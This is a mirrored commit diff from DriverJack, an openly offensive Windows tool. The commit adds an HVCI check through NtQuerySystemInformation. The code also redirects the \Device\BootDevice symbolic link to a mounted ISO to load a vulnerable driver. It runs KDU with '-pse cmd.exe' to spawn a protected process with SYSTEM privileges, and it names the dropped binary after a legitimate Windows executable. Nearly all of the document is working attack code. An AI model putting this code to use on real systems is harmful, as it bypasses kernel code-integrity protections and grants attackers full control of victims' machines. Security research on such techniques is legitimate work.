mirror of
https://github.com/klezVirus/DriverJack
synced 2026-06-06 16:04:32 +00:00
Add HVCI Check
This commit is contained in:
@@ -168,7 +168,6 @@
|
||||
<ClCompile Include="SetPrivilege.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="README.md" />
|
||||
<None Include="res\drv64.dat">
|
||||
<FileType>Document</FileType>
|
||||
</None>
|
||||
|
||||
@@ -85,9 +85,6 @@
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="README.md">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
<None Include="res\kdu.dat">
|
||||
<Filter>Resource Files</Filter>
|
||||
</None>
|
||||
|
||||
+25
-10
@@ -16,6 +16,11 @@ int main(int argc, char* argv[]) {
|
||||
int drvx_len = 0;
|
||||
int drv64_len = 0;
|
||||
int kdu_len = 0;
|
||||
|
||||
// HVCI State
|
||||
BOOLEAN bHVCIEnabled = FALSE;
|
||||
BOOLEAN bHVCIStrictMode = FALSE;
|
||||
BOOLEAN bHVCIIUMEnabled = FALSE;
|
||||
|
||||
// Overwrite result
|
||||
BOOL bSuccess = FALSE;
|
||||
@@ -134,7 +139,7 @@ int main(int argc, char* argv[]) {
|
||||
printf("(+) Old target: %ws\n", oldTarget.c_str());
|
||||
printf("(+) New target: %ws\n", physicalDrivePath);
|
||||
|
||||
// change the symbolic link to make it point to the UEFI partition (\Device\HarddiskVolume1)
|
||||
// change the symbolic link to make it point to the ISO (\Device\CdRomX)
|
||||
auto status = ChangeSymlink(L"\\Device\\BootDevice", wDevicePath);
|
||||
|
||||
if (status == STATUS_SUCCESS) std::cout << "(+) Successfully changed symbolic link to new target!\n";
|
||||
@@ -170,19 +175,29 @@ int main(int argc, char* argv[]) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
// We now have shift back to E:
|
||||
std::string cmdLine = std::string("start \"\" cmd /c ");
|
||||
cmdLine.append(fullKduPath);
|
||||
cmdLine.append(" -prv 34 -pse C:\\Windows\\System32\\cmd.exe");
|
||||
QueryHvciInfo(&bHVCIEnabled, &bHVCIStrictMode, &bHVCIIUMEnabled);
|
||||
|
||||
printf("(*) Executing: %s\r\n", cmdLine.c_str());
|
||||
if (bHVCIEnabled) {
|
||||
printf("(-) HVCI is Enabled, KDU will not work. Please switch to an HVCI compliant solution.\n");
|
||||
}
|
||||
else {
|
||||
printf("(+) HVCI is not enabled, KDU will work.\n");
|
||||
|
||||
// We now have shift back to E:
|
||||
//std::string cmdLine = std::string("start \"\" cmd /c ");
|
||||
std::string cmdLine = std::string("");
|
||||
cmdLine.append(fullKduPath);
|
||||
cmdLine.append(" -prv 34 -pse C:\\Windows\\System32\\cmd.exe");
|
||||
|
||||
printf("(*) Executing: %s\r\n", cmdLine.c_str());
|
||||
|
||||
// Using KDU to launch a PPL process with SYSTEM privileges
|
||||
system(cmdLine.c_str());
|
||||
|
||||
}
|
||||
printf("(+) Finished. Press a button to cleanup and exit.");
|
||||
getchar();
|
||||
|
||||
// Using KDU to launch a PPL process with SYSTEM privileges
|
||||
system(cmdLine.c_str());
|
||||
|
||||
Sleep(5000);
|
||||
// Stop the service to free the driver
|
||||
DoStopSvc(DRIVER_SERVICE_NAME);
|
||||
// Unmount the ISO
|
||||
|
||||
+1
-1
@@ -19,7 +19,7 @@
|
||||
//#define KDU_PATH "\\Windows\\System32\\DisplaySwitch.exe"
|
||||
//#define DR64_PATH "\\Windows\\System32\\drv64.dll"
|
||||
|
||||
#define KDU_PATH "DisplaySwitch.exe"
|
||||
#define KDU_PATH "GameBarPresenceWriter.exe"
|
||||
#define DR64_PATH "drv64.dll"
|
||||
|
||||
#define DRVX_PATH "Windows\\System32\\drivers\\amdxata.sys"
|
||||
|
||||
Binary file not shown.
@@ -35,4 +35,48 @@ DWORD ExtractNumberFromPath(PWSTR path) {
|
||||
p++;
|
||||
}
|
||||
return number;
|
||||
}
|
||||
|
||||
BOOLEAN QueryHvciInfo(
|
||||
_Out_ PBOOLEAN pbHVCIEnabled,
|
||||
_Out_ PBOOLEAN pbHVCIStrictMode,
|
||||
_Out_ PBOOLEAN pbHVCIIUMEnabled
|
||||
)
|
||||
{
|
||||
BOOLEAN hvciEnabled;
|
||||
ULONG returnLength;
|
||||
NTSTATUS ntStatus;
|
||||
SYSTEM_CODEINTEGRITY_INFORMATION ci;
|
||||
|
||||
if (pbHVCIEnabled) *pbHVCIEnabled = FALSE;
|
||||
if (pbHVCIStrictMode) *pbHVCIStrictMode = FALSE;
|
||||
if (pbHVCIIUMEnabled) *pbHVCIIUMEnabled = FALSE;
|
||||
|
||||
ci.Length = sizeof(ci);
|
||||
|
||||
ntStatus = NtQuerySystemInformation(
|
||||
SystemCodeIntegrityInformation,
|
||||
&ci,
|
||||
sizeof(ci),
|
||||
&returnLength);
|
||||
|
||||
if (NT_SUCCESS(ntStatus)) {
|
||||
|
||||
hvciEnabled = ((ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) &&
|
||||
(ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED));
|
||||
|
||||
if (pbHVCIEnabled)
|
||||
*pbHVCIEnabled = hvciEnabled;
|
||||
|
||||
if (pbHVCIStrictMode)
|
||||
*pbHVCIStrictMode = (hvciEnabled == TRUE) &&
|
||||
(ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED);
|
||||
|
||||
if (pbHVCIIUMEnabled)
|
||||
*pbHVCIIUMEnabled = (ci.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED) > 0;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
Reference in New Issue
Block a user